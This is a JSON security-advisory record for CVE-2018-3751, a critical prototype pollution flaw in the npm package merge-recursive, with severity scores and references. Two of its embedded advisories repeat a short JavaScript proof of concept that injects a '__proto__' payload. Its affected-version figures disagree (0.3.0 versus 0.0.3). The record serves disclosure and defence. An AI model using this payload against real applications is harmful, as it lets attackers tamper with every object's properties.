{"id":"CVE-2018-3751","aliases":["EUVD-2018-0453","GHSA-cvxm-f295-x957"],"status":"published","title":"Prototype Pollution in merge-recursive","description":"The utilities function in all versions \u003c= 0.3.0 of the merge-recursive node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.","severity":{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.01428,"percentile":0.73164,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-20"],"published":"2018-07-03T21:00:00Z","modified":"2026-06-17T01:57:46Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"merge-recursive","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.0.3"}]}]},{"source":"osv","ecosystem":"npm","package":"merge-recursive","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.3"}]}]}],"products":[{"vendor":"umbraengineering","product":"merge-recursive"}],"references":[{"url":"https://hackerone.com/reports/311337","tags":["x_refsource_MISC","x_transferred","Exploit","Issue Tracking","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2018-3751","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cvxm-f295-x957","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/715","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2018-3751","description":"The utilities function in all versions \u003c= 0.3.0 of the merge-recursive node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.","status":"published","published":"2018-07-03T21:00:00Z","modified":"2024-09-17T03:38:17.592Z","updated_at":"2026-11-02T14:35:05.619113Z"}],"euvd":[{"id":"EUVD-2018-0453","description":"The utilities function in all versions \u003c= 0.3.0 of the merge-recursive node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.","status":"published","published":"2018-07-03T21:00:00Z","modified":"2024-09-17T03:38:17Z","updated_at":"2026-11-03T00:28:29.877686Z"}],"ghsa":[{"id":"GHSA-cvxm-f295-x957","title":"Prototype Pollution in merge-recursive","description":"All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.\n\nProof of concept:\n\n```js\nvar merge = require('merge-recursive').recursive;\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\n\nvar a = {};\nconsole.log(\"Before : \" + a.oops);\nmerge({}, JSON.parse(malicious_payload));\nconsole.log(\"After : \" + a.oops);\n```\n\n\n## Recommendation\n\nThere is currently no fix available. ","status":"published","published":"2018-09-18T13:46:06Z","modified":"2023-09-12T18:47:20Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:37:04.447845Z"}],"nvd":[{"id":"CVE-2018-3751","description":"The utilities function in all versions \u003c= 0.3.0 of the merge-recursive node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.","status":"published","published":"2018-07-03T21:29:00.653Z","modified":"2026-06-17T01:57:46.203Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:04:30.900603Z"}],"osv":[{"id":"GHSA-cvxm-f295-x957","title":"Prototype Pollution in merge-recursive","description":"All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.\n\nProof of concept:\n\n```js\nvar merge = require('merge-recursive').recursive;\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\n\nvar a = {};\nconsole.log(\"Before : \" + a.oops);\nmerge({}, JSON.parse(malicious_payload));\nconsole.log(\"After : \" + a.oops);\n```\n\n\n## Recommendation\n\nThere is currently no fix available. ","status":"published","published":"2018-09-18T13:46:06Z","modified":"2023-11-08T04:00:18.903087Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:45.639885Z"}]}}
